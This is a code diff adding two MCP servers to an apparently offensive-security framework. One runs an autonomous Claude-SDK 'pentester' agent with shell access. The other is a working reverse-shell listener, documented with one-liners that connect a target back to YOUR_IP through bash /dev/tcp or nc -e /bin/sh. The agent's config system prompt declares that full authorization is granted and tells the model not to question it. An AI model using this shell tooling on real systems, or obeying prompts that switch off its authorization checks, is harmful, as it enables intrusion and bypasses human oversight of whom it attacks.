+from typing import Any
+
+import yaml
+from mcp.server.fastmcp import FastMCP
+
+# 延迟导入，避免未安装时影响 MCP 启动
+_claude_sdk_available = False
+try:
+    from claude_agent_sdk import ClaudeAgentOptions, query
+
+    _claude_sdk_available = True
+except ImportError:
+    pass
+
+# ---------------------------------------------------------------------------
+# 路径与配置
+# ---------------------------------------------------------------------------
+
+SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
+PROJECT_ROOT = os.path.dirname(os.path.dirname(SCRIPT_DIR))
+_DEFAULT_CONFIG_PATH = os.path.join(SCRIPT_DIR, "pent_claude_agent_config.yaml")
+
+# Agent 运行状态（简单内存状态，用于 status）
+_last_task: str | None = None
+_last_result: str | None = None
+_task_count: int = 0
+
+
+def _load_config(config_path: str | None) -> dict[str, Any]:
+    """加载 YAML 配置，合并默认值与用户配置。"""
+    defaults: dict[str, Any] = {
+        "cwd": PROJECT_ROOT,
+        "allowed_tools": ["Read", "Write", "Bash", "Grep", "Glob"],
+        "env": {
+            "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1",
+            "DISABLE_TELEMETRY": "1",
+            "DISABLE_ERROR_REPORTING": "1",
+            "DISABLE_BUG_COMMAND": "1",
+        },
+        "mcp_servers": {},
+        "system_prompt": (
+            "你是一名专业的渗透测试工程师。根据用户给出的任务，进行安全测试、漏洞分析、信息收集等。"
+            "请按步骤执行，输出清晰、可复现的结果。仅在授权范围内进行测试。"
+        ),
+    }
+    path = config_path or os.environ.get("PENT_CLAUDE_AGENT_CONFIG", _DEFAULT_CONFIG_PATH)
+    if not os.path.isfile(path):
+        return defaults
+    try:
+        with open(path, "r", encoding="utf-8") as f:
+            user = yaml.safe_load(f) or {}
+        # 深度合并
+        def merge(base: dict, override: dict) -> dict:
+            out = dict(base)
+            for k, v in override.items():
+                if k in out and isinstance(out[k], dict) and isinstance(v, dict):
+                    out[k] = merge(out[k], v)
+                else:
+                    out[k] = v
+            return out
+
+        return merge(defaults, user)
+    except Exception:
+        return defaults
+
+
+def _resolve_path(s: str) -> str:
+    """解析路径占位符。"""
+    return s.replace("${PROJECT_ROOT}", PROJECT_ROOT).replace("${SCRIPT_DIR}", SCRIPT_DIR)
+
+
+def _build_agent_options(config: dict[str, Any], cwd_override: str | None = None) -> ClaudeAgentOptions:
+    """从配置构建 ClaudeAgentOptions。"""
+    raw_cwd = cwd_override or config.get("cwd", PROJECT_ROOT)
+    cwd = _resolve_path(str(raw_cwd)) if isinstance(raw_cwd, str) else str(raw_cwd)
+    env = dict(os.environ)
+    env.update(config.get("env", {}))
+    mcp_servers = config.get("mcp_servers") or {}
+    # 解析路径占位符
+    for name, cfg in list(mcp_servers.items()):
+        if isinstance(cfg, dict):
+            args = cfg.get("args") or []
+            cfg = dict(cfg)
+            cfg["args"] = [_resolve_path(str(a)) for a in args]
+            mcp_servers[name] = cfg
+
+    return ClaudeAgentOptions(
+        cwd=cwd,
+        allowed_tools=config.get("allowed_tools", ["Read", "Write", "Bash", "Grep", "Glob"]),
+        disallowed_tools=config.get("disallowed_tools", []),
+        mcp_servers=mcp_servers,
+        env=env,
+        system_prompt=config.get("system_prompt"),
+        setting_sources=config.get("setting_sources", ["user", "project"]),
+    )
+
+
+async def _run_claude_agent(prompt: str, config_path: str | None = None, cwd: str | None = None) -> str:
+    """内部执行 Claude Agent，返回最后一轮文本结果。"""
+    global _last_task, _last_result, _task_count
+    _last_task = prompt
+    _task_count += 1
+
+    if not _claude_sdk_available:
+        _last_result = "错误：未安装 claude-agent-sdk，请执行 pip install claude-agent-sdk"
+        return _last_result
+
+    config = _load_config(config_path)
+    options = _build_agent_options(config, cwd_override=cwd)
+
+    messages: list[Any] = []
+    try:
+        async for message in query(prompt=prompt, options=options):
+            messages.append(message)
+    except Exception as e:
+        _last_result = f"Agent 执行异常: {e}"
+        return _last_result
+
+    if not messages:
+        _last_result = "(无输出)"
+        return _last_result
+
+    # 多轮迭代时，取最后一个 ResultMessage（最后一波结果）
+    result_msgs = [m for m in messages if hasattr(m, "result") and getattr(m, "result", None) is not None]
+    last = result_msgs[-1] if result_msgs else messages[-1]
+    # 提取文本内容，优先 ResultMessage.result，避免输出 metadata
+    if hasattr(last, "result") and last.result is not None:
+        text = last.result
+    elif hasattr(last, "content") and last.content:
+        parts = []
+        for block in last.content:
+            if hasattr(block, "text") and block.text:
+                parts.append(block.text)
+        text = "\n".join(parts) if parts else "(无输出)"
+    else:
+        text = "(无输出)"
+    _last_result = text
+    return _last_result
+
+
+# ---------------------------------------------------------------------------
+# MCP 服务与工具
+# ---------------------------------------------------------------------------
+
+app = FastMCP(
+    name="pent-claude-agent",
+    instructions="渗透测试工程师 MCP：接收任务后，内部启动 Claude Agent 独立执行渗透测试、漏洞分析等，并返回结果。",
+)
+
+
+@app.tool(
+    description="执行渗透测试任务。下发任务描述后，pent_claude_agent 会作为独立的渗透测试工程师，使用 Claude Agent 执行任务并返回结果。支持：端口扫描、漏洞探测、Web 安全测试、信息收集等。",
+)
+async def pent_claude_run_pentest_task(task: str) -> str:
+    """Run a penetration testing task. The agent executes independently and returns results."""
+    return await _run_claude_agent(task)
+
+
+@app.tool(
+    description="分析漏洞信息。传入漏洞描述、PoC、影响范围等，由 Agent 进行专业分析并给出修复建议。",
+)
+async def pent_claude_analyze_vulnerability(vuln_info: str) -> str:
+    """Analyze vulnerability information and provide remediation suggestions."""
+    prompt = f"请对以下漏洞信息进行专业分析，包括：风险等级、影响范围、利用方式、修复建议。\n\n{vuln_info}"
+    return await _run_claude_agent(prompt)
+
+
+@app.tool(
+    description="执行指定任务。通用任务执行入口，Agent 会根据任务内容自动选择合适的工具和方法。",
+)
+async def pent_agent_execute(task: str) -> str:
+    """Execute a task. The agent chooses appropriate tools and methods."""
+    return await _run_claude_agent(task)
+
+
+@app.tool(
+    description="对目标进行安全诊断。可传入 URL、IP、域名等，Agent 会进行初步的安全评估和诊断。",
+)
+async def pent_agent_diagnose(target: str) -> str:
+    """Diagnose a target (URL, IP, domain) for security assessment."""
+    prompt = f"请对以下目标进行安全诊断和初步评估：{target}\n\n包括：可达性、开放服务、常见漏洞面等。"
+    return await _run_claude_agent(prompt)
+
+
+@app.tool(
+    description="获取 pent_claude_agent 的当前状态：最近任务、结果摘要、执行次数等。",
+)
+def pent_claude_status() -> str:
+    """Get the current status of pent_claude_agent."""
+    global _last_task, _last_result, _task_count
+    lines = [
+        f"任务执行次数: {_task_count}",
+        f"最近任务: {_last_task or '-'}",
+        f"最近结果摘要: {(str(_last_result or '-')[:200] + '...') if _last_result and len(str(_last_result)) > 200 else (_last_result or '-')}",
+        f"Claude SDK 可用: {_claude_sdk_available}",
+    ]
+    return "\n".join(lines)
+
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser(description="Pent Claude Agent MCP Server")
+    parser.add_argument(
+        "--config",
+        default=None,
+        help="Path to pent_claude_agent config YAML (env: PENT_CLAUDE_AGENT_CONFIG)",
+    )
+    args, _ = parser.parse_known_args()
+    # 将 config 路径存入环境，供工具调用时使用
+    if args.config:
+        os.environ["PENT_CLAUDE_AGENT_CONFIG"] = args.config
+    app.run(transport="stdio")

mcp-servers/pent_claude_agent/pent_claude_agent_config.yaml

@@ -0,0 +1,46 @@
+# pent_claude_agent 配置文件
+# 渗透测试工程师 Agent 的独立配置，可自定义 MCP、工具、环境等
+# 路径占位符：${PROJECT_ROOT} = CyberStrikeAI 项目根目录，${SCRIPT_DIR} = 本脚本所在目录
+
+# 工作目录（Agent 执行任务时的 cwd）
+cwd: "${PROJECT_ROOT}/mcp-servers/pent_claude_agent"
+
+# 允许 Agent 使用的工具
+allowed_tools:
+  - Read
+  - Write
+  - Bash
+  - Grep
+  - Glob
+
+# 禁用的工具（可选）
+# disallowed_tools: []
+
+# Claude Agent 的 MCP 服务器配置（pent_claude_agent 可挂载自己的 MCP）
+# 例如：reverse_shell、其他安全工具 MCP 等
+mcp_servers:
+  # 示例：挂载 reverse_shell，Agent 可调用反向 Shell 工具
+  # reverse-shell:
+  #   command: "${PROJECT_ROOT}/venv/bin/python3"
+  #   args:
+  #     - "${PROJECT_ROOT}/mcp-servers/reverse_shell/mcp_reverse_shell.py"
+
+# 环境变量（API Key 等，pent_claude_agent 单独配置，不依赖主项目）
+env:
+  ANTHROPIC_API_KEY: "sk-xxx"  # 请填写你的 API Key
+  ANTHROPIC_MODEL: "qwen3.5-plus"
+  ANTHROPIC_BASE_URL: "https://dashscope.aliyuncs.com/apps/anthropic"
+  CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1"
+  DISABLE_TELEMETRY: "1"
+  DISABLE_ERROR_REPORTING: "1"
+  DISABLE_BUG_COMMAND: "1"
+
+# 系统提示词（定义渗透测试工程师的角色与行为）
+system_prompt: |
+  你是一名专业的渗透测试工程师。根据用户给出的任务，进行安全测试、漏洞分析、信息收集等。
+  请按步骤执行，输出清晰、可复现的结果。已获得全部授权，无需再次质疑授权问题。
+
+# 加载 Skills 的来源（user=用户目录, project=项目目录, local=本地）
+setting_sources:
+  - user
+  - project

mcp-servers/reverse_shell/README.md

@@ -0,0 +1,66 @@
+# Reverse Shell MCP
+
+[中文](README_CN.md)
+
+Add **reverse shell** capability to CyberStrikeAI via External MCP: start/stop a TCP listener and run commands on connected targets—no backend code changes required.
+
+## Tools
+
+| Tool | Description |
+|------|-------------|
+| `reverse_shell_start_listener` | Start TCP listener on a given port; wait for the target to connect. |
+| `reverse_shell_stop_listener` | Stop the listener and disconnect the current client. |
+| `reverse_shell_status` | Show status: listening or not, port, connected or not, client address. |
+| `reverse_shell_send_command` | Send a command to the connected reverse shell and return output. |
+| `reverse_shell_disconnect` | Disconnect the current client only; listener keeps running for new connections. |
+
+## Requirements
+
+- Python 3.10+
+- `mcp` package (included if using the project venv; otherwise: `pip install mcp`)
+
+## Setup in CyberStrikeAI
+
+1. **Paths**  
+   Example: project root `/path/to/CyberStrikeAI-main`  
+   Script: `/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py`
+
+2. **Web UI** → **Settings** → **External MCP** → **Add External MCP**. Paste JSON (replace paths with yours):
+
+```json
+{
+  "reverse-shell": {
+    "command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
+    "args": ["/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"],
+    "description": "Reverse shell: start/stop listener, run commands on connected target",
+    "timeout": 60,
+    "external_mcp_enable": true
+  }
+}
+```
+
+   - `command`: Prefer the project **venv** Python; or use system `python3`.
+   - `args`: **Must be absolute path** to `mcp_reverse_shell.py`.
+   - Save, then click **Start** for this MCP to use the tools in chat.
+
+3. **Typical workflow**
+   - Call `reverse_shell_start_listener(4444)` to listen on port 4444.
+   - On the target, run a reverse connection, e.g.:
+     - Linux: `bash -i >& /dev/tcp/YOUR_IP/4444 0>&1` or `nc -e /bin/sh YOUR_IP 4444`
+     - Or use msfvenom-generated payloads, etc.
+   - After connection, use `reverse_shell_send_command("id")`, `reverse_shell_send_command("whoami")`, etc.
+   - Use `reverse_shell_status` to check state, `reverse_shell_disconnect` to drop the client only, `reverse_shell_stop_listener` to stop listening.
+
+## Run locally (optional)
+
+```bash
+# From project root, with venv
+./venv/bin/python mcp-servers/reverse_shell/mcp_reverse_shell.py
+```
+
+The process talks MCP over stdio; CyberStrikeAI starts it the same way when using External MCP.
+
+## Security
+
+- Use only in authorized, isolated test environments.
+- Listener binds to `0.0.0.0`; restrict access with firewall or network policy if the port is exposed.

mcp-servers/reverse_shell/README_CN.md

@@ -0,0 +1,66 @@
+# 反向 Shell MCP
+
+[English](README.md)
+
+通过**外部 MCP** 为 CyberStrikeAI 增加**反向 Shell** 能力：开启/停止 TCP 监听、与已连接目标交互执行命令，**无需修改后端代码**。
+
+## 工具说明
+
+| 工具 | 说明 |
+|------|------|
+| `reverse_shell_start_listener` | 在指定端口启动 TCP 监听，等待目标机反向连接。 |
+| `reverse_shell_stop_listener` | 停止监听并断开当前客户端。 |
+| `reverse_shell_status` | 查看状态：是否监听、端口、是否已连接及客户端地址。 |
+| `reverse_shell_send_command` | 向已连接的反向 Shell 发送命令并返回输出。 |
+| `reverse_shell_disconnect` | 仅断开当前客户端，不停止监听（可继续等待新连接）。 |
+
+## 依赖
+
+- Python 3.10+
+- 使用项目自带 venv 时已包含 `mcp`；单独运行需：`pip install mcp`
+
+## 在 CyberStrikeAI 中接入
+
+1. **路径**  
+   例如项目根为 `/path/to/CyberStrikeAI-main`，则脚本路径为：  
+   `/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py`
+
+2. **Web 界面** → **设置** → **外部 MCP** → **添加外部 MCP**，填入以下 JSON（将路径替换为你的实际路径）：
+
+```json
+{
+  "reverse-shell": {
+    "command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
+    "args": ["/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"],
+    "description": "反向 Shell：开启/停止监听、与目标交互执行命令",
+    "timeout": 60,
+    "external_mcp_enable": true
+  }
+}
+```
+
+   - `command`：建议使用项目 **venv** 中的 Python，或系统 `python3`。
+   - `args`：**必须使用绝对路径** 指向 `mcp_reverse_shell.py`。
+   - 保存后点击该 MCP 的 **启动**，即可在对话中通过 AI 调用上述工具。
+
+3. **使用流程示例**
+   - 调用 `reverse_shell_start_listener(4444)` 在 4444 端口开始监听。
+   - 在目标机上执行反向连接，例如：
+     - Linux: `bash -i >& /dev/tcp/YOUR_IP/4444 0>&1` 或 `nc -e /bin/sh YOUR_IP 4444`
+     - 或使用 msfvenom 生成 payload 等。
+   - 连接成功后，用 `reverse_shell_send_command("id")`、`reverse_shell_send_command("whoami")` 等与目标交互。
+   - 需要时用 `reverse_shell_status` 查看状态，用 `reverse_shell_disconnect` 仅断开客户端，用 `reverse_shell_stop_listener` 完全停止监听。
+
+## 本地单独运行（可选）
+
+```bash
+# 在项目根目录，使用 venv
+./venv/bin/python mcp-servers/reverse_shell/mcp_reverse_shell.py
+```
+
+进程通过 stdio 与 MCP 客户端通信；CyberStrikeAI 以 stdio 方式启动该脚本时行为相同。
+
+## 安全提示
+
+- 仅在有授权、隔离的测试环境中使用。
+- 监听在 `0.0.0.0`，若端口对外暴露存在风险，请通过防火墙或网络策略限制访问。

mcp-servers/reverse_shell/mcp_reverse_shell.py

@@ -0,0 +1,272 @@
+#!/usr/bin/env python3
+"""
+Reverse Shell MCP Server - 反向 Shell MCP 服务
+
+通过 MCP 协议暴露反向 Shell 能力：开启/停止监听、与已连接客户端交互执行命令。
+无需修改 CyberStrikeAI 后端，在「设置 → 外部 MCP」中以 stdio 方式添加即可。
+
+依赖：pip install mcp（或使用项目 venv）
+运行：python mcp_reverse_shell.py  或  python3 mcp_reverse_shell.py
+"""
+
+from __future__ import annotations
+
+import asyncio
+import socket
+import threading
+import time
+from typing import Any
+
+from mcp.server.fastmcp import FastMCP
+
+# ---------------------------------------------------------------------------
+# 反向 Shell 状态（单例：一个监听器、一个已连接客户端）
+# ---------------------------------------------------------------------------
+
+_LISTENER: socket.socket | None = None
+_LISTENER_THREAD: threading.Thread | None = None
+_LISTENER_PORT: int | None = None
+_CLIENT_SOCK: socket.socket | None = None
+_CLIENT_ADDR: tuple[str, int] | None = None
+_LOCK = threading.Lock()
+
+# 用于 send_command 的输出结束标记（避免无限等待）
+_END_MARKER = "__RS_DONE__"
+_RECV_TIMEOUT = 30.0
+_RECV_CHUNK = 4096
+
+
+def _get_local_ips() -> list[str]:
+    """获取本机 IP 列表（供目标机反弹连接用），优先非 127 地址。"""
+    ips: list[str] = []
+    try:
+        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+        s.connect(("8.8.8.8", 80))
+        ip = s.getsockname()[0]
+        s.close()
+        if ip and ip != "127.0.0.1":
+            ips.append(ip)
+    except OSError:
+        pass
+    if not ips:
+        try:
+            ip = socket.gethostbyname(socket.gethostname())
+            if ip:
+                ips.append(ip)
+        except OSError:
+            pass
+    if not ips:
+        ips.append("127.0.0.1")
+    return ips
+
+
+def _accept_loop(port: int) -> None:
+    """在后台线程中：bind、listen、accept，只接受一个客户端。"""
+    global _LISTENER, _CLIENT_SOCK, _CLIENT_ADDR, _LISTENER_PORT
+    try:
+        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        sock.bind(("0.0.0.0", port))
+        sock.listen(1)
+        with _LOCK:
+            _LISTENER = sock
+        # 阻塞 accept，只接受一个连接
+        client, addr = sock.accept()
+        with _LOCK:
+            _CLIENT_SOCK = client
+            _CLIENT_ADDR = (addr[0], addr[1])
+    except OSError:
+        pass
+    finally:
+        with _LOCK:
+            if _LISTENER:
+                try:
+                    _LISTENER.close()
+                except OSError:
+                    pass
+                _LISTENER = None
+            _LISTENER_PORT = None
+
+
+def _start_listener(port: int) -> str:
+    global _LISTENER_THREAD, _LISTENER_PORT, _CLIENT_SOCK, _CLIENT_ADDR
+    with _LOCK:
+        if _LISTENER is not None or (_LISTENER_THREAD is not None and _LISTENER_THREAD.is_alive()):
+            return f"已在监听中（端口: {_LISTENER_PORT}），请先 stop_listener 再重新 start。"
+        if _CLIENT_SOCK is not None:
+            try:
+                _CLIENT_SOCK.close()
+            except OSError:
+                pass
+            _CLIENT_SOCK = None
+            _CLIENT_ADDR = None
+    th = threading.Thread(target=_accept_loop, args=(port,), daemon=True)
+    th.start()
+    _LISTENER_THREAD = th
+    time.sleep(0.2)
+    with _LOCK:
+        if _LISTENER is not None:
+            _LISTENER_PORT = port
+            ips = _get_local_ips()
+            addrs = ", ".join(f"{ip}:{port}" for ip in ips)
+            return (
+                f"已在 0.0.0.0:{port} 开始监听。"
+                f"目标机请反弹到: {addrs}（任选其一）。连接后使用 reverse_shell_send_command 执行命令。"
+            )
+    return f"监听 0.0.0.0:{port} 已启动（若端口被占用会失败，请检查）。"
+
+
+def _stop_listener() -> str:
+    global _LISTENER, _LISTENER_THREAD, _CLIENT_SOCK, _CLIENT_ADDR, _LISTENER_PORT
+    with _LOCK:
+        if _LISTENER is not None:
+            try:
+                _LISTENER.close()
+            except OSError:
+                pass
+            _LISTENER = None
+        _LISTENER_PORT = None
+        if _CLIENT_SOCK is not None:
+            try:
+                _CLIENT_SOCK.close()
+            except OSError:
+                pass
+            _CLIENT_SOCK = None
+            _CLIENT_ADDR = None
+    return "监听已停止，已断开当前客户端（如有）。"
+
+
+def _disconnect_client() -> str:
+    global _CLIENT_SOCK, _CLIENT_ADDR
+    with _LOCK:
+        if _CLIENT_SOCK is None:
+            return "当前无已连接客户端。"
+        try:
+            _CLIENT_SOCK.close()
+        except OSError:
+            pass
+        addr = _CLIENT_ADDR
+        _CLIENT_SOCK = None
+        _CLIENT_ADDR = None
+    return f"已断开客户端 {addr}。"
+
+
+def _status() -> dict[str, Any]:
+    with _LOCK:
+        listening = _LISTENER is not None
+        port = _LISTENER_PORT
+        connected = _CLIENT_SOCK is not None
+        addr = _CLIENT_ADDR
+    connect_back = None
+    if listening and port is not None:
+        ips = _get_local_ips()
+        connect_back = [f"{ip}:{port}" for ip in ips]
+    return {
+        "listening": listening,
+        "port": port,
+        "connect_back": connect_back,
+        "connected": connected,
+        "client_address": f"{addr[0]}:{addr[1]}" if addr else None,
+    }
+
+
+def _send_command_blocking(command: str, timeout: float = _RECV_TIMEOUT) -> str:
+    """在同步上下文中向已连接客户端发送命令并读取输出（带结束标记）。"""
+    global _CLIENT_SOCK, _CLIENT_ADDR
+    with _LOCK:
+        client = _CLIENT_SOCK
+    if client is None:
+        return "错误：当前无已连接客户端。请先 start_listener，等待目标连接后再 send_command。"
+    # 使用结束标记以便可靠地截断输出
+    wrapped = f"{command.strip()}\necho {_END_MARKER}\n"
+    try:
+        client.settimeout(timeout)
+        client.sendall(wrapped.encode("utf-8", errors="replace"))
+        data = b""
+        while True:
+            try:
+                chunk = client.recv(_RECV_CHUNK)
+                if not chunk:
+                    break
+                data += chunk
+                if _END_MARKER.encode() in data:
+                    break
+            except socket.timeout:
+                break
+        text = data.decode("utf-8", errors="replace")
+        if _END_MARKER in text:
+            text = text.split(_END_MARKER)[0].strip()
+        return text or "(无输出)"
+    except (ConnectionResetError, BrokenPipeError, OSError) as e:
+        with _LOCK:
+            if _CLIENT_SOCK is client:
+                _CLIENT_SOCK = None
+                _CLIENT_ADDR = None
+        return f"连接已断开: {e}"
+    except Exception as e:
+        return f"执行异常: {e}"
+
+
+# ---------------------------------------------------------------------------
+# MCP 服务与工具
+# ---------------------------------------------------------------------------
+
+app = FastMCP(
+    name="reverse-shell",
+    instructions="反向 Shell MCP：在本地开启 TCP 监听，等待目标机连接后通过工具执行命令。",
+)
+
+
+@app.tool(
+    description="在指定端口启动反向 Shell 监听。目标机需执行反向连接（如 nc -e /bin/sh YOUR_IP PORT 或 bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1）。仅支持一个监听器与一个客户端。",
+)
+def reverse_shell_start_listener(port: int) -> str:
+    """Start reverse shell listener on the given port (e.g. 4444)."""
+    if port < 1 or port > 65535:
+        return "端口需在 1–65535 之间。"
+    return _start_listener(port)
+
+
+@app.tool(
+    description="停止反向 Shell 监听并断开当前客户端。",
+)
+def reverse_shell_stop_listener() -> str:
+    """Stop the listener and disconnect the current client."""
+    return _stop_listener()
+
+
+@app.tool(
+    description="查看当前状态：是否在监听、端口、是否有客户端连接及客户端地址。",
+)
+def reverse_shell_status() -> str:
+    """Get listener and client connection status."""
+    s = _status()
+    lines = [
+        f"监听中: {s['listening']}",
+        f"端口: {s['port']}",
+        f"反弹地址(目标机连接): {', '.join(s['connect_back']) if s.get('connect_back') else '-'}",
+        f"已连接: {s['connected']}",
+        f"客户端: {s['client_address'] or '-'}",
+    ]
+    return "\n".join(lines)
+
+
+@app.tool(
+    description="向已连接的反向 Shell 客户端发送一条命令并返回输出。若无连接请先 start_listener 并等待目标连接。",
+)
+async def reverse_shell_send_command(command: str) -> str:
+    """Send a command to the connected reverse shell client and return output."""
+    # 在线程池中执行阻塞的 socket I/O，避免长时间占用 MCP 主线程，使 status/stop_listener 等仍可响应
+    return await asyncio.to_thread(_send_command_blocking, command)
+
+
+@app.tool(
+    description="仅断开当前客户端连接，不停止监听（可继续等待新连接）。",
+)
+def reverse_shell_disconnect() -> str:
+    """Disconnect the current client without stopping the listener."""
+    return _disconnect_client()
+
+
+if __name__ == "__main__":
+    app.run(transport="stdio")

requirements.txt

@@ -12,3 +12,6 @@ uro>=1.0.2
 
 bloodhound>=1.6.1
 impacket>=0.11.0
+
+# MCP (Model Context Protocol) SDK
+mcp>=1.0.0

tools/README.md

@@ -202,6 +202,7 @@ description: |
 ```yaml
 - name: "ports"
   type: "array"
+  item_type: "number"
   description: "端口列表"
   required: false
   # 输入: [80, 443, 8080]
@@ -364,6 +365,13 @@ parameters:
    - 说明权限要求
    - 提醒仅在授权环境中使用
 
+6. **单次执行时长与超时（最佳实践）**
+   - 若某工具经常执行很久（如超过 10～30 分钟仍显示「执行中」），属于异常长时间挂起，建议：
+     - 在 **config.yaml** 的 `agent.tool_timeout_minutes` 中设置单次工具最大执行时长（默认 10 分钟），超时后会自动终止并释放资源；
+     - 需要更长扫描时再适当调大该值（如 20、30），不建议设为 0（不限制）；
+     - 在任务监控页可对整条任务使用「停止任务」中断当前对话与后续工具调用；
+     - 工具实现上尽量支持「可中断」或内置超时（如脚本内设 timeout），以便与系统超时协同。
+
 ## 禁用工具
 
 要禁用某个工具，只需将配置文件中的 `enabled` 字段设置为 `false`，或者直接删除/重命名配置文件。
@@ -390,6 +398,13 @@ A: 对于数组类型参数，系统会自动转换为逗号分隔的字符串
 
 A: 某些工具（如 `nmap`）支持 `scan_type` 参数来覆盖默认的扫描类型。对于其他情况，可以使用 `additional_args` 参数。
 
+### Q: 工具执行超过 30 分钟一直显示「执行中」怎么办？
+
+A: 属于异常长时间挂起，建议：
+1. 在 **config.yaml** 中配置 `agent.tool_timeout_minutes`（默认 10），单次工具超过该分钟数会自动终止；
+2. 在监控页对该任务使用「停止任务」立即中断；
+3. 若该工具确实需要更长时间，可适当增大 `tool_timeout_minutes`，但不建议设为 0。
+
 ### Q: 工具执行失败怎么办？
 
 A: 检查以下几点：
@@ -407,7 +422,7 @@ go run cmd/test-config/main.go
 
 ### Q: 参数顺序如何控制？
 
-A: 使用 `position` 字段控制位置参数的顺序。标志参数会按照在 `parameters` 列表中的顺序添加。`additional_args` 会追加到命令末尾。
+A: 使用 `position` 字段控制位置参数的顺序。**位置 0 的参数（如 gobuster 的 `dir` 子命令）会紧跟在命令名后、所有标志参数之前**，以便兼容需要“子命令 + 选项”形式的 CLI。其余标志参数按在 `parameters` 列表中的顺序添加，再按 position 1、2… 添加其余位置参数。`additional_args` 会追加到命令末尾。
 
 ## 工具配置模板
 

tools/README_EN.md

@@ -2,121 +2,168 @@
 
 ## Overview
 
-Each tool ships with its own YAML configuration placed in the `tools/` directory. This keeps definitions modular, easier to review, and simple to extend. The runtime automatically loads every `.yaml` / `.yml` file in that directory.
+Each tool has its own configuration file under the `tools/` directory. This keeps tool definitions clear, easy to maintain, and manageable. The system automatically loads all `.yaml` and `.yml` files in `tools/`.
 
-## File Structure
+## Configuration File Format
 
-The table below enumerates every supported top-level field. Double-check each entry before adding a new tool:
+Each tool configuration file is a YAML file. The table below lists supported top-level fields and whether they are required. Check each item before submitting:
 
 | Field | Required | Type | Description |
 |-------|----------|------|-------------|
-| `name` | ✅ | string | Unique identifier. Prefer lowercase letters, digits, and hyphens. |
-| `command` | ✅ | string | Executable or script name. Must exist in `$PATH` or be an absolute path. |
-| `enabled` | ✅ | bool | Controls MCP registration. Disabled tools are ignored by the loader. |
-| `description` | ✅ | string | Full Markdown description for MCP `resources/read` and AI comprehension. |
-| `short_description` | Optional | string | 20–50 character summary shown in tool lists. When omitted, the loader extracts the start of `description`. |
-| `args` | Optional | string[] | Static arguments prepended to every invocation—useful for default scan profiles. |
-| `parameters` | Optional | array | Runtime parameter definitions. See **Parameter Definition** for details. |
-| `arg_mapping` | Optional | string | Mapping strategy (`auto`/`manual`/`template`). Defaults to `auto`; override only for legacy tooling. |
+| `name` | ✅ | string | Unique tool identifier; use lowercase letters, digits, and hyphens. |
+| `command` | ✅ | string | Command or script to run; must be on system PATH or an absolute path. |
+| `enabled` | ✅ | bool | Whether to register with MCP; set to `false` to skip the tool. |
+| `description` | ✅ | string | Full description, multi-line Markdown, for AI and `resources/read` queries. |
+| `short_description` | Optional | string | 20–50 character summary for tool lists and lower token usage; defaults to start of `description` if omitted. |
+| `args` | Optional | string[] | Fixed arguments prepended to the command line; often used for default scan modes. |
+| `parameters` | Optional | array | Runtime parameter list; see **Parameter Definition** below. |
+| `arg_mapping` | Optional | string | Parameter mapping mode (`auto`/`manual`/`template`); default `auto`; only set if needed. |
 
-> If a required field is missing or malformed, the loader skips that tool and logs a warning without blocking the service.
+> If a field is wrong or a required field is missing, the loader skips that tool and logs a warning; other tools are unaffected.
 
 ## Tool Descriptions
 
 ### Short Description (`short_description`)
 
-- **Purpose**: compact summary for tool listings and to minimise language model context usage.  
-- **Guideline**: one concise sentence (20–50 Chinese characters or English equivalents).  
+- **Purpose**: Used in tool lists to reduce tokens sent to the model.
+- **Guideline**: One sentence (20–50 characters) describing the tool’s main use.
 - **Example**: `"Network scanner for discovering hosts, open ports, and services"`
 
 ### Detailed Description (`description`)
 
-Supports multi-line Markdown. Recommended contents:
+Use multi-line text and include:
 
-1. **Capabilities** – what the tool does.  
-2. **Usage scenarios** – when to prefer this tool.  
-3. **Warnings** – permissions, runtime risks, side-effects.  
-4. **Examples** – optional walkthroughs or sample commands.
+1. **Capabilities**: What the tool does.
+2. **Usage scenarios**: When to use it.
+3. **Warnings**: Caveats and safety notes.
+4. **Examples**: Optional usage examples.
 
-**Important**:
-- Tool menus and MCP summaries use `short_description` when available.  
-- Without `short_description`, the loader trims the first line or first 100 characters of `description`.  
-- Full descriptions are accessible through the MCP `resources/read` endpoint (`tool://<tool_name>`).
+**Notes**:
+- Tool lists use `short_description` when present.
+- If `short_description` is missing, the system uses the first line or first 100 characters of `description`.
+- Full descriptions are available via MCP `resources/read` (URI: `tool://tool_name`).
+
+This reduces token usage, especially with many tools (e.g. 100+).
 
 ## Parameter Definition
 
-Each parameter object accepts the fields below:
+Each parameter can include:
 
-- `name` *(required)* – parameter key used in CLI construction and MCP schema.  
-- `type` *(required)* – `string`, `int`/`integer`, `bool`/`boolean`, `array`, etc.  
-- `description` *(required)* – Markdown-friendly explanation including purpose, format rules, example values, and safety notes.  
-- `required` – boolean; when `true`, missing values cause the executor to return an error.  
-- `default` – fallback value applied if the caller omits the argument.  
-- `flag` – CLI switch such as `-u` or `--url`.  
-- `position` – zero-based index for positional arguments.  
-- `format` – rendering strategy:
-  - `flag` *(default)* → `--flag value` / `-f value`
-  - `combined` → `--flag=value`
-  - `positional` → appended according to `position`
-  - `template` → uses the `template` string
-- `template` – placeholder string (supports `{flag}`, `{value}`, `{name}`) when `format: "template"`.
-- `options` – array of allowed values; surfaced as `enum` entries in the MCP schema.
+- `name`: Parameter name.
+- `type`: One of string, int, bool, array.
+- `description`: Full description (multi-line supported).
+- `required`: Whether it is required (true/false).
+- `default`: Default value.
+- `flag`: CLI flag (e.g. `-u`, `--url`, `-p`).
+- `position`: Zero-based index for positional arguments.
+- `format`: One of `"flag"`, `"positional"`, `"combined"`, `"template"`.
+- `template`: Template string when `format` is `"template"`.
+- `options`: Allowed values for enums.
 
-### Format Reference
+### Parameter Formats
 
-- **`flag`**: pass the flag and the value separately.  
-  Example: `flag: "-u"` → `-u https://example.com`
